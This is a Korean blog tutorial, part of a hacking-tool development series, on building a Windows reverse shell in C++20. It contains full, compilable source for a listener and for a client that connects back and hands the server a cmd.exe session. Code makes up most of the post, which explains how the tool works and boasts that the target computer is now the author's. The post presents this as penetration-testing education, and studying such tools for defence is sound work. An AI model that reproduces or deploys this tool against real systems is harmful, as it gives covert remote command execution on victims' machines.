해킹도구 개발 | 리버스 쉘(Reverse shell) 이론및 개발실습
🔥 소개
안녕하세요!
이번에는 해킹도구 개발관련 카테고리가 개설된 후, 관련내용에 대한 첫번째 포스팅입니다!
이번 시간에는 리버스쉘(Reverse shell)에 관하여 포스팅하겠습니다.
🔥 리버스쉘(Reverse shell)이란?
공격자쪽에서 서버포트를 열고 공격대상쪽에서 접속하여 생성하는 쉘입니다.
연결이 설정되면 공격자가 공격 대상자의 컴퓨터에서 실행할 명령을 전송하고 결과를 가져올 수 있습니다.
이러한 이유로 모의해킹의 필수프로그램이 될 수 있었으며 원격으로 쉘을 생성할 때 이용됩니다.
리버스쉘(Reverse shell)이나 바인드쉘(Bind shell)을 실습할 수 있는 대표적인 사례로는 netcat이 있습니다.
(해당 포스팅에서는 netcat같은 외부 툴의 의존없이 처음부터 끝까지 직접 다 만들어볼겁니다.)
💎 netcat이 뭐지?
netcat은 TCP 또는 UDP를 사용하여 네트워크 연결을 읽고 쓰기위한 컴퓨터 네트워킹 유틸리티입니다.
다른 프로그램 및 스크립트에서 직접 또는 쉽게 구동 할 수있는 신뢰할 수있는 백엔드로 설계되었습니다.
🔮 어떠한 환경에서 개발할까?
저는 개인적으로 시스템에 제일 친숙한 언어인 C++20을 사용할겁니다.
C++20은 다른 언어들보다 상대적으로 이식성이 뛰어나고(어떤 운영체제에다가 가져다 붙여도 잘 작동함),
개인적으로 저가 제일 잘 다루는 언어이기 때문입니다.
IDE는 당연히 비쥬얼스튜디오를 사용할겁니다.
이유는 비쥬얼스튜디오에서 지원하는 인텔리센스를 이용하면 소스코드가 한층 더 깔끔해집니다.
💎 개발환경
언어: C++20
통합개발환경: Visual Studio 2022 Preview
컴파일러: MSVC
🔮 직접 리버스쉘(Reverse shell)을 만들어보자!
🕹️ 솔루션 정렬및 설계
우선 저는 솔루션을 다음과 같이 정렬했습니다.
이름 | 역할 |
ReverseShell.hpp | 리버스 쉘의 역할을 수행하는 클래스와 클래스에 포함된 멤버함수가 정의되어있습니다. |
ReverseShell.cpp | 리버스 쉘의 역할을 수행하는 클래스와 클래스에 포함된 멤버함수가 구현되어있습니다. |
SourceMain.cpp | 우리가 개발하려는 리버스 쉘의 프로그램에서 메인모듈의 시작엔트리함수가 포함되어있습니다. |
추가로 클라이언트 부분은 다른 솔루션에서 구동하였지만, 같은 헤더를 사용하였습니다.
이름 | 역할 |
Client.cpp | 클라이언트에서 메인모듈의 시작엔트리 함수가 포함되어있습니다. |
🕹️ ReverseShell.hpp
#pragma once
#pragma comment(lib, "ws2_32")
#pragma warning(disable:4996)
#include <iostream>
#include <exception>
#include <string>
#include <thread>
/* 반드시 WinSock2.h 먼저 정의해주어야 합니다. */
#include <WinSock2.h>
#include <Windows.h>
#include <WS2tcpip.h> // inet_pton()
#define BUFSIZE (0x1000)
namespace mawile {
class ReverseShell {
public:
void Listen(int);
void Connect(const char*, int);
ReverseShell();
ReverseShell(int);
ReverseShell(const char*, int);
~ReverseShell();
private:
SOCKET svSocket, clSocket;
};
}
🕹️ ReverseShell.cpp
#include "ReverseShell.hpp"
namespace mawile {
void ReverseShell::Listen(int serverPort) {
std::cout << "WSAStartup is starting...\n";
/**
* @brief WSA시작하기
*/
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
throw std::runtime_error("Error: WSAStartup");
/**
* @brief 서버소켓 생성
*/
svSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (svSocket == INVALID_SOCKET)
throw std::runtime_error("Error: Invalid svSocket");
SOCKADDR_IN svAddr_in = { 0 };
svAddr_in.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
svAddr_in.sin_family = AF_INET;
svAddr_in.sin_port = htons(serverPort);
/**
* @brief 바인딩
*/
std::cout << "binding...\n";
if (bind(svSocket, (SOCKADDR*)&svAddr_in, sizeof svAddr_in) == SOCKET_ERROR)
throw std::runtime_error("Error: bind");
/**
* @brief 리스닝
*/
std::cout << "listening...\n";
if (listen(svSocket, SOMAXCONN) == SOCKET_ERROR)
throw std::runtime_error("Error: listen");
/**
* @breif 클라이언트 수용
*/
SOCKADDR_IN clAddr_in = { 0 };
int clsize = sizeof clAddr_in;
std::cout << "Accepting the client...\n";
clSocket = accept(svSocket, (SOCKADDR*)&clAddr_in, &clsize);
if (clSocket == INVALID_SOCKET)
throw std::runtime_error("Error: Invalid clSocket");
/**
* @brief 1초 기다린뒤, 콘솔창 청소
*/
std::cout << "The client is connected!\n";
Sleep(1000);
std::system("cls");
/**
* @brief 비동기적으로 클라이언트로부터 [0x1000] 크기만큼 데이터 받아오기
*/
std::thread thr([&, this]() {
char buf[BUFSIZE];
for (;;) {
RtlZeroMemory(buf, BUFSIZE);
int recvBytes = recv(clSocket, buf, BUFSIZE, 0);
if (recvBytes < 0)
break;
std::cout << buf;
}
});
char inBuf[BUFSIZE];
for (;;) {
RtlZeroMemory(inBuf, BUFSIZE);
std::size_t count = 0;
for (;;) {
int i = getchar();
if (i == '\n') break;
inBuf[count++] = i;
}
/**
* @brief 특정명령어는 직접 제어
*/
if (!strcmp(inBuf, "exit")) exit(0);
if (!strcmp(inBuf, "cmd")) {
std::cout << "하위 프로세스를 생성할 수 없습니다.\n";
continue;
}
if (!strcmp(inBuf, "cls")) std::system("cls");
send(clSocket, inBuf, strlen(inBuf) + 1, 0);
}
thr.join();
}
void ReverseShell::Connect(const char* serverIp, int serverPort) {
HANDLE g_hChildStd_IN_Rd = 0;
HANDLE g_hChildStd_IN_Wr = 0;
HANDLE g_hChildStd_OUT_Rd = 0;
HANDLE g_hChildStd_OUT_Wr = 0;
/**
* @brief WSA시작하기
*/
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
throw std::runtime_error("Error: WSAStartup");
/**
* @brief 서버소켓 생성
*/
svSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (svSocket == INVALID_SOCKET)
throw std::runtime_error("Error: Invalid svSocket");
SOCKADDR_IN svAddr_in = { 0 };
svAddr_in.sin_family = AF_INET;
svAddr_in.sin_port = htons(serverPort);
inet_pton(AF_INET, serverIp, &svAddr_in.sin_addr);
/**
* @brief 서버에 연결
*/
if (connect(svSocket, (SOCKADDR*)&svAddr_in, sizeof svAddr_in) == SOCKET_ERROR)
throw std::runtime_error("Error: connect");
SECURITY_ATTRIBUTES saAttr;
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
/**
* @brief 생성할 하위 프로세스의 입출력 파이프생성
*/
if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0))
throw std::runtime_error("Error: CreatePipe");
if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0))
throw std::runtime_error("Error: SetHandleInformation");
if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0))
throw std::runtime_error("Error: CreatePipe");
if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0))
throw std::runtime_error("Error: SetHandleInformation");
TCHAR szCmdline[] = TEXT("cmd");
PROCESS_INFORMATION piProcInfo;
RtlZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION));
STARTUPINFO siStartInfo;
BOOL bSuccess = FALSE;
RtlZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
siStartInfo.cb = sizeof(STARTUPINFO);
siStartInfo.hStdError = g_hChildStd_OUT_Wr;
siStartInfo.hStdOutput = g_hChildStd_OUT_Wr;
siStartInfo.hStdInput = g_hChildStd_IN_Rd;
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
/**
* @brief 하위 프로세스 생성
*/
bSuccess = CreateProcess(0, szCmdline, 0, 0, TRUE, 0, 0, 0, &siStartInfo, &piProcInfo);
if (!bSuccess)
throw std::runtime_error("Error: CreateProcess");
else
{
CloseHandle(piProcInfo.hProcess);
CloseHandle(piProcInfo.hThread);
CloseHandle(g_hChildStd_OUT_Wr);
CloseHandle(g_hChildStd_IN_Rd);
}
DWORD dwRead, dwWritten;
CHAR chBuf[BUFSIZE], inBuf[BUFSIZE];
/**
* @brief 비동기적으로 하위 프로세스의 출력을 버퍼로 읽기
*/
std::thread ([&, this]() {
for (;;) {
RtlZeroMemory(chBuf, BUFSIZE);
bSuccess = ReadFile(g_hChildStd_OUT_Rd, chBuf, BUFSIZE, &dwRead, NULL);
if (!bSuccess || dwRead == 0) break;
send(svSocket, chBuf, BUFSIZE, 0);
}
}).detach();
for (;;)
{
RtlZeroMemory(inBuf, BUFSIZE);
recv(svSocket, inBuf, BUFSIZE, 0);
/**
* @brief 서버접속이 끊기면 클라이언트도 자동으로 연결해제
*/
if (WSAGetLastError()) exit(0);
/**
* @brief 오버플로우 방지
*/
inBuf[BUFSIZE - 1] = '\0';
/**
* @breif 특정명령어는 직접 제어
*/
if (!strcmp(inBuf, "exit")) exit(0);
if (!strcmp(inBuf, "cls")) std::system("cls");
strcat(inBuf, "\n");
bSuccess = WriteFile(g_hChildStd_IN_Wr, inBuf, strlen(inBuf), &dwWritten, NULL);
if (!bSuccess) break;
}
CloseHandle(g_hChildStd_IN_Wr);
CloseHandle(g_hChildStd_OUT_Rd);
}
ReverseShell::ReverseShell() {
}
ReverseShell::ReverseShell(int serverPort) {
Listen(serverPort);
}
ReverseShell::ReverseShell(const char* serverIp, int serverPort) {
Connect(serverIp, serverPort);
}
ReverseShell::~ReverseShell() {
closesocket(clSocket);
closesocket(svSocket);
WSACleanup();
}
}
🕹️ SourceMain.cpp
/* 서버 */
#include "ReverseShell.hpp"
int main(void) {
try {
// 8080번 포트로 리버스 쉘 서버를 리스닝한다.
mawile::ReverseShell* rShell = new mawile::ReverseShell(8080);
delete rShell;
return (0);
}
catch (std::exception& e) {
std::cout << e.what() << std::endl;
return (-1);
}
return (0);
}
🕹️ Client.cpp
/* 클라이언트 */
#include "ReverseShell.hpp"
int main(void) {
try {
// 루프백아이피:8080번 포트로 리버스 쉘 서버에 접속한다.
mawile::ReverseShell* rShell = new mawile::ReverseShell("127.0.0.1", 8080);
delete rShell;
return (0);
}
catch (std::exception& e) {
std::cout << e.what() << std::endl;
return (-1);
}
return (0);
}
🔮 어떻게 설계되어있지?
우선 "ReverseShell.hpp"에는 다음과 같은 레퍼런스들이 정의되어 있습니다.
함수 정의 | 역할 | 파라미터 |
void Listen(int); | 서버의 포트를 열고, 클라이언트를 수용하는 함수. | (서버포트) |
void Connect(const char*, int); | 서버에 접속하는 함수. | (서버아이피, 서버포트) |
최대한 간단하게 설계하려고했는데, 적다보니까 살짝 코드가 길어졌습니다.
전체 소스코드와 컴파일된 프로그램은 아래 깃허브링크를 타고 설치해주시기 바랍니다.
🔮 다운로드
(소스코드를 외부에서 사용시 사전에 댓글로 이야기 해주시면 감사하겠습니다!)
🔮 동작원리를 알아보자!
우선 서버에서는 mawile::ReverseShell::Listen을 사용해야 되겠죠?
해당 함수는 크게 다음과 같은과정을 거치게 됩니다.
| 서버의 동작구조 |
서버바인딩 -> 서버리스닝 -> 클라이언트 접속확인 ->
스레드(1)을 생성 -> (' ')공백제거없이 입력을 받음 -> 콘솔 입력내용 클라이언트로 전송
[ 스레드(1) ]
클라이언트로부터 오는 데이터를 [0x1000]만큼 버퍼로 읽어오기 -> 콘솔로 출력
사실 이대로 보기만한다면, 리버스 쉘의 동작원리는 생각보다 복잡하지 않습니다.
다음은 mawile::ReverseShell::Connect를 사용한 클라이언트의 동작구조입니다.
| 클라이언트의 동작구조 |
서버접속 -> 하위 프로세스 입출력 파이프 생성 ->
스레드(1)을 생성 -> 서버로부터 오는 패킷을 읽어오기 ->
서버로부터 온 패킷 뒤에 '\n' 추가 -> 하위 프로세스의 입력버퍼에다가 해당 패킷의 내용입력
[ 스레드(1) ]
하위프로세스의 출력버퍼를 한번에 최대 [0x1000]만큼 읽어오기 -> 읽어들인 버퍼를 서버로 전송
자세히 보니까 그냥 하위 프로세스를 만들고 그 내용을 서버와의 입출력버퍼랑 연결 시키기만 했습니다.
로직자체는 엄청 단순합니다.
🔮 실제로 실행을 해보자!
실제로 해당 소스코드를 돌리고 실행해보면 다음과 같이 2개의 프로그램을 컴파일받을 수 있습니다.
우선 "ReverseShell_Mawile.exe"는 서버이고, "Client.exe"는 클라이언트입니다.
이제 서버를 실행해보겠습니다.
다음과 같이 클라이언트의 접속이 올때까지 끊임없이 기다립니다.
이제 클라이언트를 접속시키겠습니다.
1초 기다리니, 바로 클라이언트의 cmd에 연결되었습니다!
저는 따로 테스트 할 pc가 없어서 루프백(localhost)으로 했습니다.
아래와 같은 사진처럼 cmd명령어를 입력해도 잘 작동합니다!
이제 서버는 클라이언트의 cmd를 마음대로 사용할 수 있습니다.(이제 이 컴퓨터는 제껍니다.)
❤️ 마무리
여기까지해서 해킹도구 개발 | 리버스 쉘(Reverse shell) 이론및 개발실습 에 관한 포스팅은 여기서 마치겠습니다.
궁금한 부분이 있다면 댓글로 질문주세요!
그럼 안녕!
'🪓해킹 > 해킹툴 개발강좌' 카테고리의 다른 글
해킹도구 개발 | 키로거(Keylogger) 이론및 개발실습 (2) | 2021.12.23 |
---|
댓글